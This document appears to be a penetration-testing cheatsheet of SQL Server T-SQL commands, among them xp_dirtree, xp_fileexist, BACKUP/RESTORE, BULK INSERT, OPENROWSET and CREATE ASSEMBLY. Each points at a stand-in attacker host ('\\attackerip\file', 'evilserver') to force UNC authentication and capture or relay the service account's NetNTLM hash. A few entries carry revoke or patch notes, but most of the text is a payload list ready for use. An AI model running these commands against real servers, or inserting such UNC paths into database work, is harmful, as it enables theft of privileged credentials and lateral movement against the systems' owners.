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SQL Server UNC Path Injection Cheatsheet
This is a list of SQL Server commands that support UNC path [injections] by default.
The injections can be used to capture or replay the NetNTLM password hash of the
Windows account used to run the SQL Server service. The SQL Server service account
has sysadmin privileges by default in all versions of SQL Server.
Note: This list is most likely not complete.
-----------------------------------------------------------------------
-- UNC Path Injections Executable by the Public Fixed Server Role
-----------------------------------------------------------------------
-- Note: All are supported by SQL Server 2000 to 2016 (excluding azure)
-- XP_DIRTREE Extended Stored Procedure
-- Fix: "revoke execute on xp_dirtree to public"
xp_dirtree '\\attackerip\file'
GO
-- XP_FILEEXIST Extended Stored Procedure
-- Fix: "revoke execute on xp_fileexist to public"
xp_fileexist '\\attackerip\file'
GO
-- BACKUP Command
-- Note: The Public role can't actually execute the backup, but the UNC path is resolved prior to the authorization check.
-- Fix: https://technet.microsoft.com/library/security/MS16-136, https://technet.microsoft.com/en-us/library/security/mt674627.aspx
-- Fix note: No patch is available for SQL Server 2000 to 2008, because they are on longer supported. Upgrade if this is you.
BACKUP LOG [TESTING] TO DISK = '\\attackerip\file'
GO
BACKUP DATABASE [TESTING] TO DISK = '\\attackeri\file'
GO
-- RESTORE Command
-- Note: The Public role can't actually execute the RESTORE, but the UNC path is resolved prior to the authorization check.
-- Fix: https://technet.microsoft.com/library/security/MS16-136, https://technet.microsoft.com/en-us/library/security/mt674627.aspx
-- Fix note: No patch is available for SQL Server 2000 to 2008, because they are on longer supported. Upgrade if this is you.
RESTORE LOG [TESTING] FROM DISK = '\\attackerip\file'
GO
RESTORE DATABASE [TESTING] FROM DISK = '\\attackerip\file'
GO
RESTORE HEADERONLY FROM DISK = '\\attackerip\file'
GO
RESTORE FILELISTONLY FROM DISK = '\\attackerip\file'
GO
RESTORE LABELONLY FROM DISK = '\\attackerip\file'
GO
RESTORE REWINDONLY FROM DISK = '\\attackerip\file'
GO
RESTORE VERIFYONLY FROM DISK = '\\attackerip\file'
GO
------------------------------------------------------
-- Executable by the Sysadmin fixed server
-- and with other non Public roles / privileges
------------------------------------------------------
-- Note: Almost every function and stored procedure that supports a file path allows UNC paths by design.
-- Create assembly
CREATE ASSEMBLY HelloWorld FROM '\\attackerip\file' WITH PERMISSION_SET = SAFE;
GO
-- Add exteneded stored procedure
sp_addextendedproc 'xp_hello','\\attackerip\file'
-- Create Certificate
CREATE CERTIFICATE testing123
FROM EXECUTABLE FILE = '\\attackerip\file';
GO
-- Backup Certificate
BACKUP CERTIFICATE test01 TO FILE = '\\attackerip\file'
WITH PRIVATE KEY (decryption by password = 'superpassword',
FILE = '\\attackerip\file',
encryption by password = 'superpassword');
go
-- Backup to file - Master Key
BACKUP MASTER KEY TO FILE = '\\attackerip\file'
ENCRYPTION BY PASSWORD = 'password'
GO
-- Backup to file - Service Master Key
BACKUP SERVICE MASTER KEY TO FILE = '\\attackerip\file'
ENCRYPTION BY PASSWORD = 'password'
go
-- Restore from file - Master Key
RESTORE MASTER KEY FROM FILE = '\\attackerip\file'
DECRYPTION BY PASSWORD = 'password'
ENCRYPTION BY PASSWORD = 'password'
go
-- Restore from file - Service Master Key
RESTORE SERVICE MASTER KEY FROM FILE = '\\attackerip\file'
DECRYPTION BY PASSWORD = 'password'
go
-- Read data from file - Bulk insert 1
CREATE TABLE #TEXTFILE (column1 NVARCHAR(100))
BULK INSERT #TEXTFILE FROM '\\attackerip\file'
DROP TABLE #TEXTFILE
-- Read data from file - Bulk insert 2
CREATE TABLE #TEXTFILE (column1 NVARCHAR(100))
BULK INSERT #TEXTFILE FROM '\\attackerip\file'
WITH (FORMATFILE = '\\testing21\file')
DROP TABLE #TEXTFILE
-- Read data from a file - fn_xe_file_target_read_file
SELECT * FROM sys.fn_xe_file_target_read_file ('\\attackerip\file','\\attackerip\file',null,null)
GO
-- Read data from a file - fn_get_audit_file
SELECT * FROM sys.fn_get_audit_file ('\\attackerip\file','\\attackerip\file',default,default);
GO
-- Create Server Audit to File
CREATE SERVER AUDIT TESTING TO FILE ( FILEPATH = '\\attackerip\file');
GO
-- Install a cryptographic provider
sp_configure 'EKM provider enabled',1
RECONFIGURE
GO
CREATE CRYPTOGRAPHIC PROVIDER SecurityProvider FROM FILE = '\\attackerip\file';
GO
-- External file format - Azure only
CREATE EXTERNAL FILE FORMAT myfileformat WITH (FORMATFILE = '\\testing21\file');
GO
-- xp_subdirs
xp_subdirs '\\attackerip\file'
-- xp_cmdshell
xp_cmdshell 'dir \\attackerip\file'
-- OpenRowSet
General Notes:
- 2k5 and up
- You must be a sysadmin. Running the TSQL below with can be used to capture the SQL Server service account password hash.
- This can also be used to transparently execute commands on remote SQL Servers; IF the servers share a service account and you are running as a sysadmin. This is just exploiting shared service accounts in a new way.
EXEC sp_configure 'show advanced options', 1
RECONFIGURE
GO
EXEC sp_configure 'ad hoc distributed queries', 1
RECONFIGURE
GO
-- passthrough sql service auth if your a sysadmin
DECLARE @sql NVARCHAR(MAX)
set @sql = 'select a.* from openrowset(''SQLNCLI'', ''Server=evilserver;Trusted_Connection=yes;'', ''select * from master.dbo.sysdatabases'') as a'
select @sql
EXEC sp_executeSQL @sql
--Excel 2007-2010 (unc injection)
-- requires ad-hoc queries to be enabled, but then it can be run by any login
SELECT * --INTO #productlist
FROM OPENROWSET('Microsoft.ACE.OLEDB.12.0',
'Excel 12.0 Xml;HDR=YES;Database=\\server\temp\Products.xlsx',
'SELECT * FROM [ProductList$]');
--Excel 97-2003(unc injection)
-- requires ad-hoc queries to be enabled, but then it can be run by any login
SELECT * --INTO #productlist
FROM OPENROWSET('Microsoft.Jet.OLEDB.4.0',
'Excel 8.0;HDR=YES;Database=\\server\temp\Products.xls',
'select * from [ProductList$]');
Source: https://www.experts-exchange.com/articles/3025/Retrieving-Data-From-Excel-Using-OPENROWSET.html
--old Excel with new ACE driver - working query 1 (unc injection)
SELECT * --INTO #productlist
FROM OPENROWSET('Microsoft.ACE.OLEDB.12.0',
'Excel 8.0;HDR=YES;Database=\\server\temp\Products.xls',
'SELECT * FROM [ProductList$]');
--old Excel with new ACE driver - working query 2 (unc injection)
SELECT * --INTO #productlist
FROM OPENROWSET('Microsoft.ACE.OLEDB.12.0',
'Excel 12.0;HDR=YES;Database=\\server\temp\Products.xls',
'SELECT * FROM [ProductList$]');
--(unc injection)
SELECT * --INTO #productlist
FROM OPENROWSET('Microsoft.ACE.OLEDB.12.0',
'Excel 12.0 Xml;HDR=YES;Database=\\server\temp\Products.xlsx',
'SELECT * FROM [ProductList$]');
-- requires sysadmin or db_owner role
SELECT * FROM fn_dump_dblog(NULL,NULL,'DISK',1
,'\\attackerip\fakefile.bak'
,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL
,NULL,NULL,NULL,NULL, NULL,NULL,NULL,NULL,NULL,NULL
,NULL,NULL,NULL,NULL, NULL,NULL,NULL,NULL,NULL,NULL
,NULL,NULL,NULL,NULL, NULL,NULL,NULL,NULL,NULL,NULL
,NULL,NULL,NULL,NULL, NULL,NULL,NULL,NULL,NULL,NULL
,NULL,NULL,NULL,NULL, NULL,NULL,NULL,NULL,NULL,NULL
,NULL,NULL,NULL,NULL)
--OpenDataSource
-- works on everything since 2k8, requires ad-hoc queries to be enabled, but then it can be run by any login
- Ref: https://msdn.microsoft.com/en-us/library/ms179856.aspx
SELECT * FROM OPENDATASOURCE('Microsoft.Jet.OLEDB.4.0','Data Source=\\server1\DataFolder\Documents\TestExcel.xls;Extended Properties=EXCEL 5.0')...[Sheet1$] ;
-- Web Dav Notes
xp_dirtree '\\hostname@SSL\test' --ssl 443
xp_dirtree '\\hostname@SSL@1234\test' --ssl port 1234
xp_dirtree '\\hostname@1234\test' --http
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